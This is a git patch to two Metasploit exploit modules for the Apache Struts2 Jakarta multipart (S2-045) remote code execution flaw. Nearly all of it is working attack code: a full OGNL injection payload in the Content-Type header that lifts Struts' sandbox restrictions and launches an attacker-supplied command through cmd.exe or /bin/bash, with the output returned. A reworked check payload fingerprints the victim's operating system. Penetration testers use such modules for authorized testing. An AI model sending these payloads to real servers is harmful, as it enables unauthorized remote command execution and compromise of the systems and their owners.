From d92ffe2d51b0d2c511c03a24b384bc86b236a5aa Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 9 Mar 2017 13:52:58 -0600 Subject: [PATCH] Grab the os.name when checking --- .../multi/http/struts2_code_exec_jakarta.rb | 21 ++++++++++++++----- .../exploits/multi/http/struts2_s2045_rce.rb | 14 ++++++++++++- 2 files changed, 29 insertions(+), 6 deletions(-) diff --git a/modules/exploits/multi/http/struts2_code_exec_jakarta.rb b/modules/exploits/multi/http/struts2_code_exec_jakarta.rb index 4f20d71dbe..aaf155328e 100644 --- a/modules/exploits/multi/http/struts2_code_exec_jakarta.rb +++ b/modules/exploits/multi/http/struts2_code_exec_jakarta.rb @@ -87,11 +87,21 @@ class MetasploitModule < Msf::Exploit::Remote def check var_a = rand_text_alpha_lower(4) - var_b = rand_text_alpha_lower(4) - payload = "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']" - payload << ".addHeader('#{var_a}', '#{var_b}')" - payload << "}.multipart/form-data" + payload = "" + payload << %q|%{| + payload << %q|(#_='multipart/form-data').| + payload << %q|(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).| + payload << %q|(#_memberAccess?| + payload << %q|(#_memberAccess=#dm):| + payload << %q|((#container=#context['com.opensymphony.xwork2.ActionContext.container']).| + payload << %q|(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).| + payload << %q|(#ognlUtil.getExcludedPackageNames().clear()).| + payload << %q|(#ognlUtil.getExcludedClasses().clear()).| + payload << %q|(#context.setMemberAccess(#dm)))).| + payload << %q|(#os=@java.lang.System@getProperty('os.name')).| + payload << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))| + payload << %q|}| begin resp = send_http_request(payload) @@ -99,7 +109,8 @@ class MetasploitModule < Msf::Exploit::Remote return Exploit::CheckCode::Unknown end - if resp && resp.code == 200 && resp.headers[var_a] == var_b + if resp && resp.code == 200 && resp.headers[var_a] + print_good("Victim operating system: #{resp.headers[var_a]}") Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe diff --git a/modules/exploits/multi/http/struts2_s2045_rce.rb b/modules/exploits/multi/http/struts2_s2045_rce.rb index 5239aa0728..48215a693e 100644 --- a/modules/exploits/multi/http/struts2_s2045_rce.rb +++ b/modules/exploits/multi/http/struts2_s2045_rce.rb @@ -47,7 +47,19 @@ class MetasploitModule < Msf::Exploit::Remote def execute_command(cmd, opts = {}) uri = normalize_uri( datastore['URI'] ) headers ={ - "Content-Type"=>"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+cmd+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" + "Content-Type"=> +"%{(#nike='multipart/form-data')."\ +"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."\ +"("\ + "#_memberAccess?(#_memberAccess=#dm):"\ + "("\ + "(#container=#context['com.opensymphony.xwork2.ActionContext.container'])."\ + "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."\ + "(#ognlUtil.getExcludedPackageNames().clear())."\ + "(#ognlUtil.getExcludedClasses().clear())."\ + "(#context.setMemberAccess(#dm)))"\ + ")."\ + "(#cmd='"+cmd+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" } data = '----------1529557865\r\n\Content-Disposition: form-data; name="file"; filename="test.txt"\r\n\000' print_status("Target URI: #{uri}")